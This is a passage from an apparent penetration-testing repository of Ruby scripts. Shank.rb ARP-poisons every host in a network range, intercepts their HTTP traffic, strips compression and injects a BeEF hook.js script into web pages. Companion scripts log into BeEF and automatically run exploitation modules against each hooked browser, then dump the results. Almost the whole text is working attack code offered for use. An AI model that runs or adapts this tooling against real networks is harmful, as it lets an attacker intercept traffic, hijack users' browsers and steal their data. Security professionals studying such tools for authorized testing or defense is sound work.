{:params => {:token => @token}} 66 | modules = JSON.parse(response.body) 67 | @mod_cache = {} 68 | modules.each do |mod| 69 | if mod[1]['class'] == 'Msf_module' 70 | @mod_cache[mod[1]['name']] = { :id => mod[1]['id'], :name => mod[1]['name']} 71 | else 72 | @mod_cache[mod[1]['class']] = { :id => mod[1]['id'], :name => mod[1]['name']} 73 | end 74 | end 75 | end 76 | def get_mod_info(mod) 77 | response = RestClient.get "#{RESTAPI_MODULES}" + "/#{mod}", {:params => {:token => @token}} 78 | modinfo= JSON.parse(response.body) 79 | end 80 | def send_mod(mod, ses,opts) 81 | response = RestClient.post "#{RESTAPI_MODULES}" + "/#{ses}/#{mod}?token=#{@token}", opts.to_json,:content_type => :json, :accept => :json 82 | res = JSON.parse(response.body) 83 | return {:ses => ses , :mod => mod, :cmd => res['command_id'] } 84 | end 85 | 86 | login 87 | get_mod_cache 88 | processed_ips = [] 89 | while true do 90 | get_alive 91 | @alive_ips.each do |ip| 92 | next if processed_ips.include? ip 93 | print "[*] Running autorun mods against #{ip}\n" 94 | @autorun_mods.each do |modinfo| 95 | modinfo.each do |mod,opts| 96 | mid = @mod_cache[mod][:id] 97 | ses = @ses_cache[ip] 98 | res = send_mod(mid,ses,opts) 99 | print res.to_json + "\n" 100 | end 101 | end 102 | processed_ips << ip 103 | end 104 | sleep 5 105 | 106 | end 107 | -------------------------------------------------------------------------------- /dump_mod_info.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | 3 | # dump_mod_info.rb - Lists all modules available for use with autorun 4 | # Created by Ryan Linn and Steve Ocepek 5 | # Copyright (C) 2012 Trustwave Holdings, Inc. 6 | # 7 | # This program is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program. If not, see . 19 | 20 | require 'rest_client' 21 | require 'json' 22 | require 'pp' 23 | 24 | # RESTful API root endpoints 25 | ATTACK_DOMAIN = "127.0.0.1" 26 | RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks" 27 | RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs" 28 | RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules" 29 | RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin" 30 | 31 | BEEF_USER = "beef" 32 | BEEF_PASSWD = "beef" 33 | 34 | def login 35 | response = RestClient.post "#{RESTAPI_ADMIN}/login", 36 | { 'username' => "#{BEEF_USER}", 37 | 'password' => "#{BEEF_PASSWD}"}.to_json, 38 | :content_type => :json, 39 | :accept => :json 40 | @token = JSON.parse(response.body)['token'] 41 | end 42 | 43 | def get_mod_cache 44 | response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @token}} 45 | modules = JSON.parse(response.body) 46 | @mod_cache = {} 47 | modules.each do |mod| 48 | if mod[1]['class'] == 'Msf_module' 49 | @mod_cache[mod[1]['name']] = { :id => mod[1]['id'], :name => mod[1]['name']} 50 | else 51 | @mod_cache[mod[1]['class']] = { :id => mod[1]['id'], :name => mod[1]['name']} 52 | end 53 | end 54 | end 55 | 56 | def mod_info(mod) 57 | response = RestClient.get "#{RESTAPI_MODULES}" + "/#{mod}", {:params => {:token => @token}} 58 | return JSON.parse(response.body) 59 | end 60 | 61 | 62 | login 63 | get_mod_cache 64 | 65 | @mod_cache.each do |name,val| 66 | minfo = mod_info(val[:id]) 67 | print "MOD: #{minfo['name']}\n" 68 | print minfo['description'] + "\n" 69 | print "OPTIONS:\n" 70 | pp minfo['options'] 71 | print "\n\n" 72 | 73 | end 74 | 75 | -------------------------------------------------------------------------------- /dump_results.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | 3 | # dump_results.rb - Parses JSON variables produced by autorun.rb and 4 | # queries BeEF backend 5 | # 6 | # Created by Ryan Linn and Steve Ocepek 7 | # Copyright (C) 2012 Trustwave Holdings, Inc. 8 | # 9 | # This program is free software: you can redistribute it and/or modify 10 | # it under the terms of the GNU General Public License as published by 11 | # the Free Software Foundation, either version 3 of the License, or 12 | # (at your option) any later version. 13 | # 14 | # This program is distributed in the hope that it will be useful, 15 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | # GNU General Public License for more details. 18 | # 19 | # You should have received a copy of the GNU General Public License 20 | # along with this program. If not, see . 21 | 22 | require 'rest_client' 23 | require 'json' 24 | require 'pp' 25 | 26 | # RESTful API root endpoints 27 | ATTACK_DOMAIN = "127.0.0.1" 28 | RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks" 29 | RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs" 30 | RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules" 31 | RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin" 32 | 33 | BEEF_USER = "beef" 34 | BEEF_PASSWD = "beef" 35 | 36 | def login 37 | response = RestClient.post "#{RESTAPI_ADMIN}/login", 38 | { 'username' => "#{BEEF_USER}", 39 | 'password' => "#{BEEF_PASSWD}"}.to_json, 40 | :content_type => :json, 41 | :accept => :json 42 | @token = JSON.parse(response.body)['token'] 43 | end 44 | 45 | def get_results(session, mod, cmd_id) 46 | response = RestClient.get "#{RESTAPI_MODULES}/#{session}/#{mod}/#{cmd_id}", {:params => {:token => @token}} 47 | result = JSON.parse(response.body) 48 | print JSON.parse(result["data"])['data'].gsub!(/\/i , "\n") 49 | end 50 | 51 | login 52 | 53 | f = File.open("auto.out","r+") 54 | 55 | while (line = f.gets() ) 56 | next if line.include? "*" 57 | data = JSON.parse(line) 58 | get_results(data["ses"], data["mod"], data["cmd"]) 59 | 60 | end 61 | 62 | 63 | f.close() 64 | -------------------------------------------------------------------------------- /shank.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # shank.rb - Script to autolaunch BeEF modules 4 | # Created by Ryan Linn and Steve Ocepek 5 | # Copyright (C) 2012 Trustwave Holdings, Inc. 6 | # 7 | # This program is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program. If not, see . 19 | 20 | # HTTP parsing 21 | require 'pp' 22 | require 'packetfu' 23 | require 'ipaddr' 24 | require 'thread' 25 | require 'rest_client' 26 | require 'json' 27 | require 'optparse' 28 | 29 | options = {} 30 | 31 | ARP_TIMEOUT = 30 32 | @beef_ip = '192.168.50.52' 33 | @beef_user = 'beef' 34 | @beef_pass = 'beef' 35 | @injection = "http://#{@beef_ip}:3000/hook.js" 36 | @beef_hooks = "http://#{@beef_ip}:3000/api/hooks" 37 | @beef_admin = "http://#{@beef_ip}:3000/api/admin" 38 | 39 | optparse = OptionParser.new do |opts| 40 | opts.banner = "Usage: shank.rb [options] CIDR" 41 | 42 | options[:debug] = false 43 | opts.on( '-d', '--debug', 'Pring debug output' ) do 44 | options[:debug] = true 45 | end 46 | 47 | opts.on( '-U', '--url URL ', 'The base URL for BeEF' ) do|url| 48 | @injection = "#{url}/hook.js" 49 | @beef_hooks = "#{url}/hooks" 50 | @beef_admin = "#{url}/api/admin" 51 | 52 | end 53 | 54 | opts.on( '-u', '--user USER', 'The BeEF Username' ) do|user| 55 | @beef_user = user 56 | end 57 | 58 | opts.on( '-p', '--pass PASS', 'The BeEF Password' ) do|pass| 59 | @beef_pass = pass 60 | end 61 | 62 | opts.on( '-h', '--help', 'Display this screen' ) do 63 | puts opts 64 | exit 65 | end 66 | 67 | end 68 | 69 | optparse.parse! 70 | 71 | #require 'perftools' 72 | #PerfTools::CpuProfiler.start("/tmp/shank_prof2") 73 | #at_exit do 74 | # PerfTools::CpuProfiler.stop 75 | #end 76 | 77 | def rand_chars(len) 78 | (0...len).map{65.+(rand(25)).chr}.join 79 | end 80 | 81 | # Acts as an ARP Cache. Yay! 82 | class ARPCache 83 | include Enumerable 84 | 85 | def initialize(timeout = ARP_TIMEOUT) 86 | @mutex = Mutex.new 87 | @timeout = timeout 88 | @cache = {} 89 | end 90 | 91 | # @param [String] ipaddr 92 | # @param [String] mac 93 | def update(ipaddr, mac) 94 | # Make sure we sync things up when updating. 95 | @mutex.synchronize do 96 | @cache[ipaddr] = ARPEntry.new(ipaddr, mac, Time.now + @timeout) 97 | end 98 | end 99 | 100 | # Prunes off expired cache entries 101 | def prune() 102 | # Since we are deleting things, make sure we sync this up. 103 | @mutex.synchronize do 104 | @cache.delete_if {|ipaddr, arp_entry| arp_entry.expired?} 105 | end 106 | end 107 | 108 | def each 109 | @cache.each_value do |arp_entry| 110 | yield(arp_entry) 111 | end 112 | end 113 | 114 | # Resolves an IP address into a MAC address 115 | # @param [String] ipaddr 116 | # @return [ARPEntry, nil] returns a cached entry, if it exists 117 | def resolve(ipaddr) 118 | # Don't bother synchronizing this. The object is static, once returned. 119 | # If it happened to get deleted after we retrieve it, no big deal. 120 | @cache[ipaddr] 121 | end 122 | end 123 | 124 | class ARPEntry 125 | attr_reader :ip, :mac 126 | def initialize(ip, mac, expiry) 127 | @ip = ip 128 | @mac = mac 129 | @expiry = expiry 130 | end 131 | 132 | def mac_raw() 133 | @mac.split(":").map {|x| x.to_i(16)}.pack("cccccc") 134 | end 135 | 136 | def expired? 137 | Time.now > @expiry 138 | end 139 | 140 | def to_s 141 | "#{@ip} : #{@mac}" 142 | end 143 | end 144 | 145 | class Shank 146 | attr_reader :ip, :ipr, :packetfu_conf, :arp_cache, :interface 147 | # @param [String] ip The ip address or range that you want to poison 148 | # @param [String] interface (eth0) The interface to poison through 149 | def initialize(ip, interface = "eth0") 150 | @inject_queue = Queue.new 151 | @ip = IPAddr.new(ip) 152 | @ipr = @ip.to_range 153 | @arp_cache = ARPCache.new 154 | @interface = interface 155 | 156 | # Not sure about this being the best way to do this stuff. 157 | @packetfu_conf = PacketFu::Config.new(PacketFu::Utils.whoami?(:iface => @interface)).config 158 | 159 | @inject = Pcap.open_live(@interface,0xffff,false,1) 160 | @inject_thread = start_inject_thread() 161 | end 162 | 163 | def start_inject_thread() 164 | Thread.new do 165 | while packet_s = @inject_queue.pop() 166 | @inject.inject(packet_s) 167 | end 168 | end 169 | end 170 | 171 | def inject_raw(packet_s) 172 | @inject_queue.push(packet_s) 173 | end 174 | 175 | def inject(packet) 176 | inject_raw(packet.to_s) 177 | end 178 | 179 | def interface_ether_raw 180 | @packetfu_conf[:eth_src] 181 | end 182 | 183 | def interface_ether 184 | @packetfu_conf[:eth_saddr] 185 | end 186 | 187 | def interface_ipaddr_raw 188 | [@packetfu_conf[:ip_src]].pack("N") 189 | end 190 | 191 | def interface_ipaddr 192 | @packetfu_conf[:ip_saddr] 193 | end 194 | 195 | def gateway_ether_raw 196 | @packetfu_conf[:eth_dst] 197 | end 198 | 199 | def gateway_ether 200 | @packetfu_conf[:eth_daddr] 201 | end 202 | 203 | # Indicates whether ipaddr is in scope for poisoning 204 | # @param [String] ipaddr 205 | # @return [Boolean] true if it is in scope 206 | def in_scope?(ipaddr) 207 | @ip.include?(ipaddr) 208 | end 209 | 210 | # Enumerates through all of the in-scope IP addresses 211 | def each_in_scope_ipaddr 212 | @ip.to_range.each do |ipaddr| 213 | yield(ipaddr) 214 | end 215 | end 216 | 217 | def route_raw_ip_packet(raw_packet) 218 | route_ip_packet(PacketFu::IPPacket.new.read(raw_packet)) 219 | end 220 | 221 | def route_ip_packet(packet) 222 | d_addr = packet.ip_daddr 223 | s_addr = packet.ip_saddr 224 | #puts "route0 #{s_addr} -> #{d_addr}" 225 | if self.in_scope?(d_addr) # If it's in our defined range 226 | if arp_entry = self.arp_cache.resolve(d_addr) 227 | packet.eth_saddr = self.interface_ether 228 | packet.eth_daddr = arp_entry.mac 229 | ## We only need to recalc if we are changing the size. Nobody cares 230 | ## about checksums? 231 | #packet.recalc 232 | self.inject(packet) 233 | else 234 | # We effectively 'drop' the packet (it'll probably get retransmitted), 235 | # and kick out an ARP request. maybe we'll have an arp entry by the next 236 | # time this packet comes through 237 | arp_request(d_addr) 238 | end 239 | else # send to gw mac 240 | # puts "route2" 241 | packet.eth_saddr = self.interface_ether 242 | packet.eth_daddr = self.gateway_ether 243 | ## We only need to recalc if we are changing the size. Nobody cares 244 | ## about checksums? 245 | # packet.recalc 246 | self.inject(packet) 247 | end 248 | end 249 | 250 | def hton(ip) 251 | ip.split(".").map {|x| x.to_i}.pack("cccc") 252 | end 253 | 254 | ARP_TEMPLATE = "%s"+ 255 | "%s" + 256 | "\x08\x06" + # ARP 257 | "\x00\x01" + # Hardware type: ETHER 258 | "\x08\x00" + # Protocol type: IP 259 | "\x06" + # Hardware size 260 | "\x04" + # Protocol size 261 | "\x00\x01" + # Opcode: Request (1) 262 | "%s" + # Sender mac addr 263 | "%s" + # Sender IP Address 264 | "%s" + # Target mac address 265 | "%s" + 266 | ("\x00" * 18) 267 | 268 | def create_arp_request(dst_mac_raw, 269 | src_mac_raw, 270 | arp_sender_mac_raw, 271 | arp_sender_ip_raw, 272 | arp_target_mac_raw, 273 | arp_target_ip_raw) 274 | 275 | ARP_TEMPLATE % [dst_mac_raw, 276 | src_mac_raw, 277 | arp_sender_mac_raw, 278 | arp_sender_ip_raw, 279 | arp_target_mac_raw, 280 | arp_target_ip_raw] 281 | end 282 | 283 | 284 | # Crafts a raw arp_request 285 | def arp_request_raw(dst_mac_raw, 286 | src_mac_raw, 287 | arp_sender_mac_raw, 288 | arp_sender_ip_raw, 289 | arp_target_mac_raw, 290 | arp_target_ip_raw) 291 | 292 | raw = create_arp_request(dst_mac_raw, 293 | src_mac_raw, 294 | arp_sender_mac_raw, 295 | arp_sender_ip_raw, 296 | arp_target_mac_raw, 297 | arp_target_ip_raw) 298 | 299 | self.inject_raw(raw) 300 | end 301 | 302 | ETHER_BCAST = "\xff\xff\xff\xff\xff\xff" 303 | ETHER_ANY = "\x00\x00\x00\x00\x00\x00" 304 | 305 | def arp_request(ip) 306 | ip_raw = hton(ip) 307 | arp_request_raw( 308 | ETHER_BCAST, 309 | self.interface_ether_raw(), 310 | self.interface_ether_raw(), 311 | self.interface_ipaddr_raw(), 312 | ETHER_ANY, 313 | ip_raw 314 | ) 315 | end 316 | end 317 | 318 | 319 | # The stuff below here could be cleaned up a bit more. 320 | 321 | shank = Shank.new(ARGV[0], (ARGV[1] || "eth0")) 322 | @alive_ips = [] 323 | 324 | 325 | arp_cap = PacketFu::Capture.new(:start => true, :filter => 326 | "arp and not ether src " + shank.interface_ether) 327 | 328 | http_cap = PacketFu::Capture.new(:start => true, 329 | :filter => "(tcp[(tcp[12]>>2):4] = 0x47455420 "+ 330 | "or tcp[(tcp[12]>>2):4] = 0x48545450) and "+ 331 | "port 80 and ether dst " + 332 | shank.interface_ether + 333 | " and not ether src " + 334 | shank.interface_ether) 335 | 336 | tcp_cap = PacketFu::Capture.new(:start => true, 337 | :filter => 338 | "(tcp and not port 80) or "+ 339 | "(port 80 and (len <= ((ip[0]&0x0f)*4 + (tcp[12]>>2) + 20))) "+ 340 | "or (port 80 and (tcp[(tcp[12]>>2):4] != 0x47455420 and "+ 341 | "tcp[(tcp[12]>>2):4] != 0x48545450)) and ether dst " + 342 | shank.interface_ether + " and not ether src " + shank.interface_ether) 343 | 344 | fw_cap = PacketFu::Capture.new(:start => true, 345 | :filter => "(udp or icmp) and ether dst " + 346 | shank.interface_ether + 347 | " and not ether src " + shank.interface_ether) 348 | 349 | 350 | 351 | arp_thread = Thread.new do 352 | Thread.current[:packets] = 0 353 | arp_cap.stream.each do |p| 354 | Thread.current[:packets] += 1 355 | arp_pkt = PacketFu::ARPPacket.new.read(p) 356 | if arp_pkt.arp_opcode == 1 # ARP request 357 | ipaddr = arp_pkt.arp_saddr_ip 358 | shank.arp_request(ipaddr) 359 | next 360 | elsif arp_pkt.arp_opcode == 2 # ARP reply 361 | ipaddr = arp_pkt.arp_saddr_ip 362 | macaddr = arp_pkt.arp_saddr_mac 363 | if shank.in_scope?(ipaddr) && # If it's in our defined range 364 | !macaddr.nil? && 365 | ipaddr != shank.interface_ipaddr() 366 | 367 | shank.arp_cache.update(ipaddr, macaddr) 368 | end 369 | end 370 | end 371 | end 372 | 373 | http_thread = Thread.new do 374 | Thread.current[:packets] = 0 375 | http_cap.stream.each do |packet| 376 | Thread.current[:packets] += 1 377 | start = Time.now 378 | #puts "http" if options[:debug] == true 379 | http_pkt = PacketFu::TCPPacket.new.read(packet, :strip => true) 380 | payload = http_pkt.payload 381 | # Do stuff to it 382 | # From the server 383 | if not @alive_ips.include? http_pkt.ip_daddr and payload =~ /\A(?
HTTP\/\d+\.\d+ +200.*Content-type: *text\/html.*?\r?\n\r?\n)(?.*)/mi 384 | header = $~["header"] # includes the newlines that come after the header. 385 | body = $~["body"] # The body! 386 | 387 | # Try to shrink things down a bit, whitespace-wize 388 | body_mod = body.gsub(/\s+/, " ") 389 | body_mod.gsub!(/[\r\n]/m, "") 390 | body_mod.gsub!(//i, "") 391 | # Remove spaces between tags. 392 | body_mod.gsub!(/>\s*<") 393 | # Strip out comments. 394 | #body_mod.gsub!(//, "") 395 | 396 | success = body_mod.sub!(/\><(title|head|body|meta)/i, '>' + "<\1') != nil 397 | 398 | # padd things up 399 | delta = body.length - body_mod.length 400 | 401 | if delta < 0 402 | warn "injected into response and updated length" 403 | new_head = header.sub(/Content-Length: \d+/,"Content-Length: #{body_mod.length}") 404 | if new_head != header 405 | new_payload = ( new_head << body_mod ) 406 | end 407 | end 408 | 409 | if delta >= 0 410 | warn "injected into response" 411 | # This pads a chunk of spaces to the front of the body. 412 | padding = " " * delta 413 | body_mod = (padding << body_mod) 414 | new_payload = (header << body_mod) 415 | end 416 | 417 | if payload != new_payload 418 | http_pkt.payload = new_payload 419 | http_pkt.recalc 420 | http_pkt.tcp_recalc 421 | end 422 | elsif payload[0..3] == "GET " 423 | # From client 424 | #Change the packet 425 | #warn "modding request" 426 | new_payload = payload 427 | header_regex = /^Accept-Encoding:[^\r\n]*/i 428 | new_header = "Accept-Encoding: identity" 429 | if new_payload =~ header_regex 430 | orig = $~[0] 431 | delta = orig.length - new_header.length 432 | if delta >= 0 433 | # Alright, let's replace it, but pad first. 434 | new_header = (new_header << (" " * delta)) 435 | new_payload = new_payload.sub(header_regex, new_header) 436 | warn "request: overrode Accept-Encoding..." 437 | http_pkt.payload = new_payload 438 | http_pkt.recalc 439 | http_pkt.tcp_recalc 440 | else 441 | # Alright, we can't neuter it, so let's replace it with BS. 442 | 443 | shorty = "#{rand_chars(orig.length/2)}: " 444 | padding = rand_chars(orig.length - shorty.length) 445 | shorty << padding 446 | 447 | warn "request: junked out Accept-Encoding..." 448 | new_payload = new_payload.sub(header_regex, shorty) 449 | http_pkt.payload = new_payload 450 | http_pkt.recalc 451 | http_pkt.tcp_recalc 452 | end 453 | end 454 | end 455 | #puts "gunna route http" if options[:debug] == true 456 | shank.route_ip_packet(http_pkt) 457 | end 458 | end 459 | 460 | # Other TCP that doesn't match GET or HTTP 461 | tcp_thread = Thread.new do 462 | Thread.current[:packets] = 0 463 | tcp_cap.stream.each do |packet| 464 | Thread.current[:packets] += 1 465 | shank.route_raw_ip_packet(packet) 466 | end 467 | end 468 | 469 | # Catch-all, just forward otherwise 470 | fw_thread = Thread.new do 471 | Thread.current[:packets] = 0 472 | fw_cap.stream.each do |packet| 473 | Thread.current[:packets] += 1 474 | shank.route_raw_ip_packet(packet) 475 | end 476 | end 477 | 478 | beef_thread = Thread.new do 479 | resp = RestClient.post "#{@beef_admin}/login", 480 | { 'username' => "#{@beef_user}", 481 | 'password' => "#{@beef_pass}"}.to_json, 482 | :content_type => :json, 483 | :accept => :json 484 | token = JSON.parse(resp.body)['token'] 485 | if not token 486 | print "Could not connect to BeEF, injection will always happen!\n" 487 | else 488 | print "BeEF Thread Started!\n" 489 | i = 0 490 | loop do 491 | tmp_ips = [] 492 | resp = RestClient.get "#{@beef_hooks}", {:params => {:token => token}} 493 | hooks= JSON.parse(resp.body)['hooked-browsers']['online'] 494 | hooks.each do |hook| 495 | tmp_ips<< hook[1]['ip'] 496 | end 497 | i = i + 1 498 | @alive_ips = tmp_ips.dup 499 | if i % 6 == 0 500 | print "Hooked Browser Summary\n" 501 | pp @alive_ips 502 | end 503 | sleep 5 504 | end 505 | end 506 | end 507 | 508 | # Initial arp scan 509 | shank.each_in_scope_ipaddr do |ipaddr| 510 | shank.arp_request(ipaddr.to_s) 511 | end 512 | 513 | def thread_summary(name, thread) 514 | [name, thread.status, thread.join(0), thread[:packets]] 515 | end 516 | 517 | poison_timer = Time.now + 5 518 | #main loop 519 | loop do 520 | # Poison hosts 521 | if Time.now() > poison_timer 522 | # Prune things.... 523 | shank.arp_cache.prune() 524 | 525 | puts "poison" 526 | shank.arp_cache.each do |arp_entry1| 527 | shank.arp_cache.each do |arp_entry2| 528 | if arp_entry1.ip != arp_entry2.ip 529 | shank.arp_request_raw(arp_entry1.mac_raw(), 530 | shank.interface_ether_raw(), 531 | shank.interface_ether_raw(), 532 | shank.hton(arp_entry2.ip), 533 | Shank::ETHER_ANY, 534 | shank.hton(arp_entry1.ip) 535 | ) 536 | end 537 | end 538 | end 539 | poison_timer = Time.now() + 5 540 | end 541 | 542 | sleep 1 543 | thread_summary(:arp_thread, arp_thread) 544 | thread_summary(:http_thread, http_thread) 545 | thread_summary(:tcp_thread, tcp_thread) 546 | thread_summary(:fw_thread, fw_thread) 547 | end 548 | --------------------------------------------------------------------------------